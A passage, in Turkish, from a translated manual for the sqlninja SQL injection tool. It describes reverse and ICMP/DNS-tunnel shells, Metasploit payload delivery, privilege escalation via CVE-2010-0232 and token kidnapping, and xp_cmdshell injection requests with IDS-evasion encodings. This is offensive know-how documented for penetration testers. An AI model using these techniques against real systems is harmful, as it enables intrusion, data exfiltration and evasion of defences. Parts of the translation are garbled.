erişilebiliyorsa bu konum kullanılır. Sqlninja uzaktaki kapısı, protokolü,<br />

sorar ve veri tabanına komut mesajı ve bağlantı kurulacak mesajı<br />

gönderir. Tabi ki daha önce netcat karşı sisteme yüklenmiş olmalıdır. -p<br />

seçeneği karşı tarafta kullanılabilecek yetki arttıracak bir şifre<br />

olmadığında gereklidir.<br />

Geri tarama<br />

Kısaca k yazılabilir<br />

Parametreler: -p <br />

Genelde veri tabanı sunucusu güvenlik kalkanının arkasında kalır. Ona<br />

doğrudan erişmek olanaksızdır. Ama sunucunun en az bir kapıdan dış<br />

Dünyaya bağlantısı vardır (DNS, HTTP gibi). Bu konum veri tabanı<br />

sunucusuna SYN paketleri ya da UDP paketleri göndermeyi söyler.<br />

Böylece sqlninja hangi kapıların paketleri aldığını kullanıcıya söyler.<br />

Yapılandırma dosyasında kendi makinenizin IP adresini belirtmelisiniz<br />

(lhost parametresi) ve hangi arayüzü dinleyeceğinizi de<br />

tanımlamalısınız. Sqlninja hangi protokolü kullanacağını sorar<br />

(TCP/UDP) ve bir de kapıları. Bu tanımlar bilinen netcat dil kurallarına<br />

göre yazılmalıdır (örneğin “23 25 80-100” gibi) Eğer sysadmin<br />

yetkimiz yoksa -p parametresine gerek vardır. Bunu kullanabilmek için<br />

netcat daha önce karşı sisteme yüklenmiş olmalıdır. Ayrıca “pcap”<br />

kitaplıkları da kullanılacağından sysadmin ya da root yetkiniz olmalıdır.<br />

Ters kabuk<br />

Kısaca r yazılır<br />

Parametreler: -p <br />

Doğrudan kabuk olmuyor ama backscan konumunda veri tabanı<br />

sunucundan kullandığınız makineye açık kapı bulunmuşsa, o zaman<br />

ters kabuk yapılabilir. Bu komunu kullanırken sqlninja yerel kapısı ve<br />

protokolü sorar ve bağlantıya başlar. Yapılandırma dosyasında kendi<br />

<strong>bilgisayar</strong>ınızın IP numarasını (lhost değeri) belirtmelisiniz. Tabi ki<br />

karşıdaki sistemde netcat yüklenmiş olmalıdır. Ve her zamanki gibi<br />

şifre yetkiler yoksa yazılmalıdır.


ICMP Kabuğu<br />

Kısaca i yazılır<br />

Parametreler: -p <br />

Eğer güvenlik kalkanı doğrudan ya da ters kabuk bağlantısına izin<br />

vermezse ama karşı taraf bizim makineyi ping edebilirse, biz<br />

kabuğumuzu ICMP tüneli içine yerleştirebiliriz. Sadece icmpsh.exe<br />

karşı sisteme yüklenir ve icmp konumu başlatılır ve artık kendi<br />

kabuğunuzla artık çalışabilirsiniz. Karşı taraftaki DBMS için tüm trafik<br />

ICMP paketleri içinden geçer. Saldırıya başlandığında sqlninja<br />

aşağıdaki bilgileri soracaktır:<br />

Veri Saklama Alanı<br />

Bir ICMP paketinde tutulabilecek veri boyudur. Varsayılan 64<br />

bayt, daha hızlı bir tünel kurmak için daha büyük veri boyu<br />

tanımlanabilir. Ama MTU değerine dikkat edilmelidir. Veri Tabanı<br />

Yönetim Sistemi ile aranızdaki MTU ile veri büyüklüğü denetim<br />

altında olmalıdır. Bugünün standartlarında 1300-1400 bayt<br />

arasında bir değer uygun kabul edilir. Daha güvenli olmasını<br />

istiyorsanız daha küçük paketler kullanabilirsiniz.<br />

ICMP yankı istekleri arasında bekleme zamanı<br />

Varsayılan 300 ms'dir. Ama daha hızlı bir tünel için daha küçük<br />

bir değer de kullanabilirsiniz. Unutmayın ki çok küçük bir değer<br />

ping akını oluşturur ki bu yoğunluk fark edilebilir. Ya da yol<br />

üzerindeki bir anti-DoS cihazı tarafından emilip yok edilebilir.<br />

Yanıt zaman aşımı<br />

icmpshell.exe tarafından beklenen yanıt süresidir. Eğer yanıt<br />

gelmezse yeni bir ICMP isteği gönderilir. Varsayılan süre 3000<br />

ms'dir.<br />

Önemli<br />

Sizin <strong>bilgisayar</strong>ınız ICMP yankı isteklerine yanıt vermeyecek biçimde<br />

ayarlanmış olmalıdır. Örneğin Linux ortamında aşağıdaki komut işi<br />

görecektir:<br />

sysctl -w net.ipv4.icmp_echo_ignore_all=1


DNS tüneli<br />

Kısaca d yazabilirsiniz<br />

Parametreler: -p <br />

Eğer doğrudan ve ters kabuk için güvenlik kalkanı engeli varsa, ICMP<br />

kabuğu da yoksa, o zaman DNS tüneli kurmaya çalışırız. Tek<br />

gereksinim şunlardır:<br />

Veri Tabanı sunucusu dışarıdaki sunucu adlarını çözebilmelidir (çoğu<br />

zaman bu geçerlidir)<br />

Bizim IP adresini ise bir yörenin DNS sunucusudur (böyle bir şeyi satın<br />

almak kolaydır). Burada sqlninja.net örneğini kullanırız:<br />

Eğer tüm koşullar sağlandıysa dnstun.exe yüklenir. Daha sonra dns<br />

tünel konumu başlatılır ve komutlarınızı göndermeye başlayabilirsiniz.<br />

Üç aşağı beş yukarı olan şeyler şunlardır:<br />

1 SQL eklemesiyle dnstun.exe programına komut iletilir (bizim<br />

uzaktaki ajanımız gibi çalışır) ve uzaktaki veri tabanı tarafından<br />

komut çalıştırılır. Çıktı yorumlanır ve biraz değişmiş olarak<br />

base32 kalıbında bize erişir.<br />

2 şifrelenmiş çıktı yöredeki sunucu adlarına göre parçalanmıştır<br />

(encoded.output.sqlninja.net)<br />

3 Bu sunucu adları gethostbyname() komutuna geçirilir. Böylece<br />

Veri Tabanı sunucusu kendi Sunucularının DNS<br />

çözümlemelerinde bu sunucuyu kullanmaya başlar.<br />

4 DNS sunucusu sqlninja.net'in yetkili DNS sunucusuna bakar<br />

(bizim IP numaramızdır) ve isteği bizim iş istasyonumuza<br />

gönderir.<br />

5 sqlninja isteği alır ve gerekliyse yeniden yönlendirir. Sunucu<br />

adlarını çözümler ve sonunda komut çıktısını yazdırır. Tabi ki<br />

sqlninja aynı zamanda DNS isteklerine de yanıt verir (sahte IP<br />

numarasıyla) gethostbyname() komutunun hemen dönmesini<br />

sağlamış olur.<br />

Tüm işlem akıcıdır, yani komut çok uzunsa bitmeden siz çıktıda onu<br />

görmeye başlarsınız. Kullanılacak yöre adı (domain) yapılandırma<br />

dosyasında tanımlanır. Tabi sqlninja sahte bir DNS sunucu<br />

yaratacağından ve kapı 53'e bağlı olacağından sizin root yetkisiyle<br />

çalışmanız gerekecektir. Unutulmaması gereken DNS UDP<br />

paketlerinden oluştuğu için paket kayıpları söz konusu olabilir.


Bu ajansın çalışabilir sürümü http://www.mingw.org/ adresindedir. Her<br />

zamanki gibi sysadmin yetkisi olmadığında şifre parametre olarak<br />

verilmelidir.<br />

metasploit (http://sqlninja.sourceforge.net/sqlninja-howto.html#toc2.12)<br />

Kısaca m yazılır<br />

Parametre: yoktur<br />

Basit DOS işaretinden memnun değil misiniz? Gerçek grafik kullanıcı<br />

arayüzü kullanarak arkadaşlarınızı etkilemek ister misiniz? Eğer<br />

yönetici yetkiniz varsa xp_cmdshell çalışıken siz de uygun bir TCP<br />

kapıyı bulursanız (giriş ya da çıkış için) ve sqlninja'yı metasploit için<br />

ambalaj olarak düşünürseniz ya Metaspreter ya da VNC sunucu<br />

başlatın. Metapreter DOS işareti gibi düşünülebilir ama ondan çok<br />

güçlüdür. Böylece uzaktaki işletim sistemi için tümüyle kontrol<br />

edebilecek ortam oluşur. Yönlendirme tablolarını değiştirme, kapı<br />

yönlendirme ve daha birçoğunu yapabilirsiniz. Alternetif olarak eğer<br />

yeteri kadar geniş band aralığınız varsa VNC sunucu ekleyip/başlatıp<br />

uzaktaki veri tabanı için iyi bir grafik erişim ortamı oluşturursunuz. Bu<br />

saldırı komunu tümüyle otomatik olup bir nutshell kabuğunda şunlar<br />

olur:<br />

1 sqlninja sizden Metapreter ya da VNC seçeneklerinden<br />

hangisini kullanacağınızı sorar. Bağlantı doğrudan mı dolaylı mı<br />

olacak ve bağlanılacak sunucu/kapı (ters bağlantı için<br />

bağlanılacak yerel kapı) verilir.<br />

2 Sqlninja ara adım (stager) olarak uygun çalışan program<br />

yaratmak için msfpayload çağırır.<br />

3 Sqlninja sonra bunu bir onarım programına çevirir ve karşıya<br />

yükler.<br />

4 Bizim bir DLL eklememiz gerektiğinden Veri çalıştırmasını<br />

önleme adımını kapatmamız gerekir (aka 'DEP' Windows 2003<br />

SP1'den beri bunlar varsayılan olarak etkindirler). Karşı sistemde<br />

Metasploit'in çeşitli sürümleri bunu otomatik olarak çözer.<br />

Register kayıtlarına ve bizim çalışan programı beyaz listeye<br />

taşıyarak yapar (checkdep parametrelerine bakın)<br />

5 Sonuç olarak Sqlninja msfcli programını çağırır gerekli DLL<br />

dosyasını ekler.


Sqlninja web sitesinde bu saldırıyı gösteren canlı bir video vardır. Tabi<br />

ki bu saldırı konumunu kullanabilmek için sizin <strong>bilgisayar</strong>ınızda<br />

Metasploit3 olmalıdır. Metasploit çalışan programları (msfpayload<br />

msfcli ve msfencode) sizin dosya yolunuzda değilse mutlak yollarını<br />

yapılandırma dosyasında belirtebilirsiniz. Eğer VNC konumunu<br />

kullanıyorsanız VNC istemcisi yüklediğinize emin olun.<br />

SQL komutu<br />

Kısaca c yazılır<br />

Parametre yoktur<br />

Bazen sysadmin yetkiniz olsa da xp_cmdshell çalışsa da, yüklenen<br />

programlarda hata olduğundan ya da kapılar kapatıldığından ya da<br />

DNS ile sunucu adı çözümü kapatıldığından kabuk çalışmaz. Bu<br />

durumda bile Veri Tabanına tek komut gönderebilmek sonuç<br />

görülemese bile yararlı olabilir. Örneğin yerel bir kullanıcı eklemek<br />

istenebilir. Ya da yöresel bir kullanıcı. SQL SUNUCU bu yetkilerle<br />

çalışabilir (tahmin edilenden çok daha fazla bu tür sunucu vardır).<br />

Böyle bir durumda DOS komut penceresinden sqlninja'yı uzaktan<br />

çalıştırabilirsiniz. Yalnız çalıştığını bilir ama çıktısını göremezsiniz. Tabi<br />

ki zamanlamayı izleyerek neler olup bittiğini görebilirsiniz. Örneğin<br />

if exists filename (ping -n 5 127.0.0.1)<br />

eğer komut 5 saniye sürerse dosya var demektir. Bir komutun doğru<br />

çalışıp çalışmadığı ERRORLEVEL çevre değişkeni değerinden de<br />

anlaşılabilir. Değeri eğer son komut doğru çalışmışsa sıfırdır. O zaman<br />

karşı SQL sunucuda SYSTEM yetkisiyle çalışma olup olmadığı:<br />

whoami > who.txt & find /i “\system “ who.txt & if not<br />

errorlevel = 1 ping -n 5 127.0.0.1 & del who.txt<br />

Eğer komut 5 saniye civarında sürerse, SQL SYSTEM yetkisiyle<br />

çalışmaktadır (whoami.exe windows 2003'de varsayılan olarak bulunur<br />

ve windows 2000'de “Resource kit” yüklenmişse vardır). DOS<br />

bilgilerinize yeniden dönerseniz AUTOEXEC.BAT içine komut eklemeyi<br />

anımsayıp servis durdurup başlatma ve gerekli kullanıcı ekleme<br />

işlemlerini yapabilirsiniz.<br />

Bu komun diğer konumlardan biri çalışmadığında yararlı olabilir. Neyin<br />

hatalı olduğunu anlamak ve sorunu çözümlemek için kullanabilirsiniz.<br />

Aşağıdaki komutu yazarak SQL sunucunun kime ait olduğunu<br />

söyleyebilirsiniz:<br />

echo Sahibiniz sqlninja'dır > c:\sqlninja.txt


Veri alma/çekme<br />

Kısaca g<br />

Parametreler: -p <br />

Öncelikle bu konu hala denemeler düzeyindedir. Hala onarılması<br />

gereken hatalar vardır. Doğruluğun son düzeyde olduğunu<br />

düşünmemelisiniz. Bu program parçası (module) 100% etkileşimlidir.<br />

Bu yüzden sqlninja iki etkin kanaldan bu hizmeti sunmaktadır. Bunlar<br />

sırasıyla zaman tabanlı, ve DNS tabanlı ortamlardır.<br />

Zaman Tabanlı<br />

Yapılandırma dosyasında data_channel için time kullanılmışsa<br />

zaman tabanlı kanal kullanılır. WAITFOR DELAY komutu bilgi<br />

almak içindir. Sqlninja zaman tabanlı kırılmada eklemeyi iki<br />

yönlü yapar.<br />

Zaman tabanlı ikili arama<br />

Bu yöntem data_extraction binary olarak seçilmişse<br />

etkinleştirilir. Eğer <strong>bilgisayar</strong>lar konusunda marjinal bilginiz<br />

de olsa, ikili arama algoritmasının nasıl çalıştığını bilirsiniz.<br />

Temelde uygulamaya gönderilecek istekleri en aza<br />

indirgemeye çalışır. Bunun en önemli yararı varlığınızın<br />

dikkat çekici olmamasıdır. Ama sorgulamaların yarısında<br />

bekleme tetiklenecektir. Bunun anlamı yöntemin en hızlı<br />

yöntem olmadığıdır.<br />

Zaman tabanlı sıralı/en iyilenmiş arama<br />

Eğer yapılandırma dosyasında data_extraction için<br />

optimize (en uygun sayılan) ya da serial (seri)<br />

tanımlanmışsa bu yöntem etkinleştirilir. Bu yöntemde tüm<br />

yöntemler sırayla denenir sonunda en uygun olan seçilir.<br />

Aralarındaki tek fark işleme alma sıralamasıdır. Serial ASCII<br />

değerlerin hepsini sırayla denerken ikincisi en çok<br />

kullanılanlardan başlar. Gerçek sıralama language_map<br />

parametresiyle belirlenir. Bu sıralama gerçek zamanlı<br />

olarak güncellenir. Alınan gerçek karakterlerin kullanım<br />

sıklığına göre değişiklik uygulanır (eğer<br />

language_map_adaptive parametresine atama yapılmışsa)<br />

DNS tabanlı alma<br />

DNS yöre ve alt yöreleri üzerinde denetiminiz varsa DNS<br />

Sunucusunun A tipi istekte bulunmasını sağlarsınız. Eğer<br />

uzaktaki veri tabanı yönetim sistemi dış sunucu adlarını<br />

çözebiliyorsa, o zaman arayüz tabanlı bilgi almalardan<br />

vazgeçip ışık hızında bilgi çekmeye başlayabilirsiniz<br />

(karşılaştırmalı olarak bu daha hızlı bir yöntem). Sqlninja<br />

root yetkisiyle çalışıyor olmalı ve domain (yöre)<br />

parametresi tanımlanmış olmalıdır.


Ek Bilgiler<br />

Varsayılan olarak sqlninja çekilen/alınan tüm verileri yerel<br />

SQLite veri tabanında saklar. Veri tabanının adı komut<br />

satırındaki -s parametresinde bulunur. Varsayılan adı<br />

session.db olarak bilinir.<br />

Diğer Saldırılar<br />

Çoğunlukla SQL sunucu SYSTEM olarak çalıştırılmaz ama daha az<br />

yetkili (çoğu zaman “Network Service” ) kullanıcı vardır. Bu saldıranın<br />

yapacaklarını da sınırlar (şifre karışımını çekil almak gibi). Bu<br />

yetkisizlik VNC için de sorunlar oluşturabilir. Genelde boş ve karanlık<br />

bir ekranla karşılaşılabilir. Ama sqlninja ile yetkileri SYSTEM düzeyine<br />

arttırabiliriz. Bunun için iki değişik saldırı yöntemi kullanılabilir.<br />

CVE-2010-0232<br />

Eğer SQL Sunucu az yetkili bir kullanıcı olarak çalışıyorsa ve<br />

makinede CVE-2010-0232 için yama uygulanmamışsa sqlninja<br />

içinde bulunan Tavas Ormandy tarafından yazılan kırılma<br />

programıyla işlem yapılır. Gerçek exploit DOS işaretli pencere<br />

yaratırken bizim sürümümüz sqlserver.exe arar ve SYSTEM<br />

olarak çalışmasını sağlar. Böylece saldırı adımları aşağıdaki<br />

sırayla yapılır:<br />

1 vdmallowe.exe ve vdmexploit.dll yüklemeleri yapılır.<br />

Bunlar bizim sistemimizde apps yolu altında çalışabilir<br />

durumdadır. Script yolu altında (onarılabilir programlar<br />

olarak)<br />

2 sqlcmd_attack mode kullanılarak şu komut çalıştırılır:<br />

%TEMP%\vdmallowed sql<br />

3 Eğer saldırı başarılıysa parmak izi konumu size sql<br />

sunucunun SYSTEM olarak çalıştığını belirtir.


Token Kaçırma<br />

Windows 2003'de yetkilerimizi token kaçırmayla arttırabiliriz.<br />

Cesar Cerrude tarafından araştırılmış bir tekniktir<br />

(http://www.argeniss.com/research/TokenKidnapping.pdf) Bu<br />

kavramın ispatı için churrasco.exe<br />

(http://www.argeniss.com/research/Churrasco.zip) programını<br />

geliştirdi (sqlninja içinde birazcık değiştirilmiş sürümü vardır).<br />

Eğer SYSTEM'e arttırmak isterseniz bu programı yüklemeniz<br />

yeterlidir. Daha sonra usechurrasco seçeneğini yes yapın.<br />

Bundan sonra tüm komutlar churrasco.exe üzerinden geçer. Eğer<br />

karşı sql sunucu bu saldırıya karşın korunacak yamalarla<br />

donatılmışsa işlem çalışmaz. Parmak izi konumunda işlemlerin<br />

çalışıp çalışmadığını görebilirsiniz.<br />

Önemli: churrasco programının değiştirilmiş sürümünü<br />

kullanmayı unutmayın (sqlninja tar topunda olanı) ya da işler<br />

zaten kırılır. Kaynak kodları incelerseniz farkları görebilirsiniz.<br />

Ama farklar aşağıdakilere benzer:<br />

1 ayrıntısız çıktı (eğer -d seçeneği kullanılırsa ayrıntılar<br />

listelenir). Ayrıntılı çıktı parmak izi konumunun 5.<br />

seçeneğiyle çakışır. O seçenek churrasco.exe sonuçları için<br />

geçici bir tablo ya da geçici bilgi saklama alanı oluşturur.<br />

2 yetkisiz kullanıcının %TEMP% klasörünü<br />

1pCurrentDirectory parametresindeki değer olarak<br />

kullanması için CreateProcessAsUser() çağrılır. Sizin<br />

programlar (netcat gibi) SYSTEM'in %TEMP% dosya<br />

yolundadır.<br />

Yapılandırma Dosyası<br />

Yapılandırma dosyası (varsayılanı sqlninja.conf) sqlninja davranışının çoğunu<br />

kontrol eder. Tüm seçenekler<br />

seçenek_adı = seçenek_değeri


içimindedir. Tek fark httprequest HTTP isteğini tanımlar ve eklenti birden<br />

çok satıra dağılmış olabilir. Seçenekler kabaca aşağıdaki sınıflara<br />

bölünmüştür:<br />

Temel:<br />

Saldırıyı ayarlamak için kullanılanlar.<br />

Veri Çekme/Alma<br />

Veri çekme konumunu ayarlamakta kullanılanlar.<br />

İlerlemiş<br />

Ek ince ayarlar için kullanılır.<br />

Seçenekleri bir çoğu büyük küçük harf ayrımı içermez (URL değerleri küçük<br />

harftir). Aynı seçenek birçok kez kullanılabilir, sqlninja her zaman sonuncu<br />

değeri kullanır. Açıklama her yerde kullanılabilir ama “--httprequet_start--”<br />

ve “--httprequest_end--” arasında kullanılamaz. Açıklamanın önünde '#'<br />

karakteri bulunur. Dosyanın İçeriğinde ne olduğu sqlninja.conf.example<br />

dosyasında örnek olarak yer alır.<br />

Temel İşlemler<br />

httprequest (http isteği)<br />

Sürüm 0.2.6'dan sonra http isteğini ayarlamak için sqlninja yeni<br />

bir yöntem kullanmaya başladı. Sunucu, kapı ve sayfa için ayrı<br />

ayrı parametreler yerine HTTP isteği bir kerede tanımlandı. Bir<br />

işaret (varsayılanı __SQL2INJECT__) sql komutlarının nereye<br />

eklenmesi gerektiği gösterildi. Eklenecek vektörün nerede<br />

olacağı konusunda tümüyle geniş bir özgürlük ve esneklik de<br />

getirdi. Artık GET ve POST parametreleriyle sınırlı olmak söz<br />

konusu değildir. İstediğiniz her yere ekleyebilirsiniz. Sqlninja<br />

HTTP isteğini her şey olarak düşünür. Bu bilgi<br />

“--httprequest_start--” ve “--httprequest_end--” satırları arasına<br />

yazılır. Genelde aşağıdaki ögeler eklenmelidir:<br />

HTTP yöntemi (GET ya da POST)<br />

Kaynakların bulunduğu URL adresi (http:// ya da https:// da<br />

dahil olacak biçimde)<br />

Standart değilse kapı numarası (örnek<br />

http://www.victim.com:8080 gibi)


Diğer gerekli başlıkların hepsi<br />

Boş satırdan sonraki gövde (eğer POST kullanılıyorsa)<br />

Genelde en iyi strateji SQL eklemeyi yapacak ve isteği<br />

tetikleyecek proxy kullanmaktır (örneğin Burpsuite). Bunu<br />

sqlninja.conf içine kopyalamak gerekir. Örneğin düzgün metin<br />

olan HTTP'de GET tabanlı ekleme aşağıdaki gibi olabilir:<br />

--httprequest_start--<br />

GET http://www.victim.com/page.asp?<br />

string_param=aaa';__SQL2INJECT__&other_param=blah HTTP/1.1<br />

Host: www.victim.com<br />

User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;<br />

rv:1.7.13) Gecko/20060418 Firefox/1.0.8<br />

Accept:<br />

text/xml,application/xml,application/xhtml+xml,text/html;q=0<br />

.9,text/plain;q=0.8,image/png,*/*<br />

Accept-Language: en-us,en;q=0.7,it;q=0.3<br />

Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7<br />

Connection: close<br />

--httprequest_end--<br />

Alternatig olarak HTTPS üzerinden POST tabanlı ekleme<br />

aşağıdaki gibi olabilir:<br />

--httprequest_start--<br />

POST https://www.victim.com/page.asp HTTP/1.0<br />

Host: www.victim.com<br />

User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13)<br />

Gecko/20060418 Firefox/1.0.8<br />

Accept:<br />

text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/pla<br />

in;q=0.8,image/png,*/*<br />

Accept-Language: en-us,en;q=0.7,it;q=0.3<br />

Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7<br />

Content-Type: application/x-www-form-urlencoded<br />

Cookie: ASPSESSIONID=xxxxxxxxxxxxxxxxxxxx<br />

Connection: close<br />

numeric_param=12;__SQL2INJECT__<br />

--httprequest_end--<br />

sqlninja için Content-Length buradaki eklentilerde yoktur.<br />

Program uygun değeri otomatik hesaplar.<br />

Son olarak cookie (çerez) tabanlı ekleme aşağıdaki gibi<br />

olabilir:


--httprequest_start--<br />

GET http://www.victim.com:8080/page.asp?param1=aaa&param2=blah<br />

HTTP/1.0<br />

Host: www.victim.com<br />

User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13)<br />

Gecko/20060418 Firefox/1.0.8<br />

Accept:<br />

text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/pla<br />

in;q=0.8,image/png,*/*<br />

Accept-Language: en-us,en;q=0.7,it;q=0.3<br />

Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7<br />

Cookie: ASPSESSIONID=xxxxx'%3B__SQL2INJECT__<br />

Connection: close<br />

--httprequest_end--<br />

Tırnaktan sonra noktalı virgülün nasıl kodlandığına bakmayı<br />

unutmayın. Çünkü sunucu cookie'ler (çerezler) arasında<br />

noktalı virgülü ayıraç olarak algılayabilir.<br />

__SQL2INJECT__ işareti öncesinde, asıl sorgulamayı<br />

kapatacak her şeyi eklemelisiniz ve yeni bir tanesine<br />

başlamanız gerekir. Bu tür parametreler ve karakter<br />

sıralamaları size komut ekleme yapma olanağı sunar. Bunun<br />

anlamı:<br />

1 ad ve değer ikilisinden oluşan parametreler (ad+değer)<br />

2 tek tırnak (parametre bir diziyse)<br />

3 noktalı virgül (asıl sorgulamayı sonlandırır)<br />

Tüm bunlara ek olarak asıl sorgulamayı sonlandıracak her<br />

şeyin içerilmesi gerekir. Doğru sayıda aç v kapat parantez<br />

gibi. Örneğin aşağıdaki gibi bir TSQL komutu eklenecekse:<br />

param1=1&param2=x'));exec+master..xp_cmdshell+'dir+c<br />

:'<br />

Yapılandırma dosyasındaki HTTP isteği aşağıdakileri<br />

içermelidir:<br />

param1=1&param2=x'));__SQL2INJECT__<br />

Unutulmaması gereken önemli şeyler:


İlk anda SQL ekleme için kullanılacak HTTP isteklerini<br />

birbirlerine yakın göndermek genelde iyi bir tekniktir.<br />

Bazı uç noktalarda azıcık değiştirilen bir başlık bilgisi<br />

bile büyük değişikliklere neden olur. Önerilen ve<br />

genelde güvenle kullanılan HTTP/1.0 değişikliğidir. Bu<br />

biçimde bağlantının açık kalması engellenmiş olur.<br />

Size tüm gücü ve esnekliği sağlayabilmek için sqlninja<br />

çıkarınıza kullanırken hiç birşeyi değiştirmez. Yani<br />

gönderdiğiniz HTTP isteği değişmeden kullanılır<br />

(eklenecek kodun ön ve arkasında bulunan işaretlerin<br />

bulunduğu yerler bu sözün dışındadır). Bu aynı<br />

zamanda sqlninja'nın sizin dil bilgisi olarak<br />

yazdıklarınızı da düzeltmeyeceği anlamına gelir. O<br />

zaman göndereceğiniz HTTP isteğinin doğru<br />

olduğundan emin olmalısınız (tüm URL kodlamaları<br />

dahil). Daha çok bilgi için RFC 1945, RFC 2068 ve RFC<br />

2616 belgelerine bakabilirsiniz.<br />

Eklenen sorgulamadan sonra bile başka SQL kodu<br />

eklemek isteyebilirsiniz (yani işaretten sonra).<br />

Genelde buna gerek olmaz. Sqlninja iki “--” işareti ve<br />

açıklamaları asıl sorgulamanın dışına taşır. Ama bazı<br />

ender durumlarda ek SQL kod eklemek isteyebilirsiniz.<br />

Batch sorguların doğru çalışabilmesi için ayarlarda<br />

“appendcomment = no” yazmayı unutmayın. O<br />

zaman SQL komutlarınız eklenen “--” yüzünden<br />

açıklama gibi yorumlanır.<br />

Bir cookie (çerez) içinde ekleme yapıyorsanız ve asıl<br />

sorgulamayı kapatmak için noktalı virgül gerekiyorsa<br />

%3B ile kodlanmış olarak yazın. Yoksa cookie'nin sonu<br />

olarak nitelendirilir.<br />

Her satırın başında boşluk bırakmayın.<br />

Açıklama satırlarını bırakmayın, onlar isteğin bir<br />

parçası olarak değerlendirilir ve taranır.<br />

Son olarak sqlninja'nın bağlanacağı kapıyı<br />

belirtmezseniz program HTTP için 80, HTTPS için 443<br />

varsayılanını kullanır.


proxyhost<br />

Hedef sunucuya HTTP proxy üzerinden bağlanılır. Örneği<br />

gerektiğinde<br />

proxyhost = 192.168.1.233<br />

yazılır.<br />

proxyport<br />

domain<br />

msfpath<br />

Bizim bağlandığımız HTTP proxy kapıyı varsayılan olarak<br />

8080 olur. Örneğin “proxyport = 3128” yazılabilir.<br />

Saldırgan yöre ya da alt yöreyi denetler. Bunları dns tünel<br />

konumuyla kullanır. Sqlninja'nın başlatıldığı IP adresinden o<br />

yöre için kullanılan DNS sunucusu tanımlanır. Örneğin<br />

“domain = sqlninja.net”<br />

Metasploit programları (msfpayload ve msfcli) için mutlak<br />

yol tanımlanır. Örneğin “msfpath =<br />

/home/icesurfer/tools/framework-3.1”<br />

kaçma (evasion)<br />

Sqlninja imza tabanlı IPS/IDS atlatmak ya da karıştırmak için<br />

bir kaç kaçma tekniği kullanabilir . Şu anda dört teknik<br />

programa uyarlanmıştır.<br />

1 Sorgulamanın onaltı tabanına göre kodlaması.<br />

Sorgulama çalıştırılmadan önce onaltılı tabana göre<br />

kodlanır.<br />

2 ayıraçlar olarak açıklamalar. Tüm boşluklar /**/ ile<br />

değiştirilmiştir.<br />

3 Rastgele olaylar<br />

4 Rastgele URI kodlaması


İlk teknik özellikle kullanışlıdır. Örneğin eğer biz aşağıdaki<br />

komutu eklemek istersek:<br />

exec master..xp_cmdshell 'cmd /C ğing 127.0.0.1'<br />

Asıl sorgulama aşağıdaki gibi olur:<br />

declare @a varchar(8000) set<br />

@a=0x65786563206d61737465722e2e78705f636d6<br />

47368656c6c2027636d64202f432070696e67203132<br />

372e302e302e31273b exec (@a)<br />

Daha uzun bir dizidir ama aşağıdakine dikkat edin:<br />

xp_cmdshell arayan IPS'lere güle güle deriz. SQL<br />

komutları yok DECLARE ve EXEC var sadece...<br />

Tek tırnak da yok. Bu kaçma tekniği çok açık bir<br />

biçimde kullanışlıdır.<br />

Aşağıdakiyle tüm teknikleri birleştirebilirsiniz:<br />

evasion = 1234<br />

Bu bayağı şifrelenmiş bir kod üretebilir:<br />

%64ECl%41RE%2F%2A%2A%2F%40%61%2F%2A<br />

%2A%2F%76Ar%63%48aR%288000%29%2F%2A%2A<br />

%2F%73 ET%2F%2A%2A%2F%40A%3D<br />

%30%586%35786%3563%3206d617%33746%35%37<br />

2%32e2%457870%35F63<br />

6d647368%36%35%36%63%36c2%302%37636D<br />

%3642%30%32f<br />

%34320%37%3069%36%65%36720%331% 332372E<br />

%330%32E3%30%32%45%3312%373b%2F%2A%2A<br />

%2FeX%65%43%2F%2A%2A%2F%28%40A%29<br />

sqlninja varsayılan olarak evasion değerini sıfır yapar ve<br />

kaçma tekniklerinden hiçbiri kullanılmaz.


Önemli<br />

Msfencoder<br />

Eğer GET isteği kullanıyorsanız gereksiz örtünmeyin.<br />

O zaman çok uzun URL olacak ve web sunucu<br />

tarafından doğru taranamayacaktır (parse).<br />

Metasploit adımlayıcı olarak kullanılan bir kodlama biçimidir.<br />

Eğer belirtilmezse kodlama yapılmaz. Ama iyi bir kodlayıcı<br />

her zaman önerilir.<br />

Msfencoder = x86/shikata_ga_nat<br />

Yükleme yöntemi (upload)<br />

İkili program dosyalarını yüklemek için kullanılır. Olası<br />

değerleri “debug” ya da “vbscript” (varsayılan) olabilir.<br />

Örneğin:<br />

upload_method = vbscript<br />

Veri çekme/alma Seçenekleri<br />

Veri kanalı (data_channel)<br />

Bu kanal veri çekme/alam amacıyla kullanılır. Zaman (time)<br />

olabilir (ki varsayılandır), WAITFOR tabanlı çekme kanalı olabilir<br />

(çok yavaş ama her zaman çalışır) ya da “dns” (daha hızlıdır.<br />

Halka açık IP numaranızı çözebilmesi için yöre ve alt yöre<br />

kontrolü olabilmelidir).<br />

Veri çekme/alma (data_extraction)<br />

Zaman tabanlı çekmeden konu açılınca üç olası yöntem vardır.<br />

Eğer ikili (binary) seçilirse, sqlninja ikili tarama yaoar böylece<br />

isteklerin sayısını azaltır. Eğer ardışık (serial) seçilmişse, sqlninja<br />

tüm olası değerleri dener (daha hızlı olabilir çünkü WAITFOR bir<br />

kez tetiklenecektir) ama karşı sistemin kayıtlarında daha fazla<br />

bilgi bırakır. Eğer sıralı en iyilenmiş (serial_optimized) kullanılırsa<br />

sqlninja en olası olanlardan başlayarak tüm olası değerleri dener.<br />

Varsayılan serial_optimized olarak tanımlanmıştır.


Dil Haritası (language_map)<br />

Eğer zaman tabanlı bilgi çekmeyi kullanıyorsanız ve çekme<br />

yöntemi olarak sıralı en iyileşmiş seçilmişse, dil haritası<br />

tanımlayıp karakterlerin sıralanmasını düzenleyebilirsiniz. Hatta<br />

bazı önceden tanımlanmış haritaları lib/langs altından bulup<br />

kullanabilirsiniz. Bu haritalar dildeki harf, boşluk ve bazı<br />

noktalama işaretlerinin kullanım yoğunluğuna göre<br />

düzenlenmiştir. Eğer kendinize göre bir harita istiyorsanız harfleri<br />

ve işaretleri sırayla dizin. Tüm olası karakterleri tanımlamanız<br />

gerekmez.<br />

language_map = lib/langs/en.maps<br />

Evlatlık alınan dil haritası (language_map_adaptive)<br />

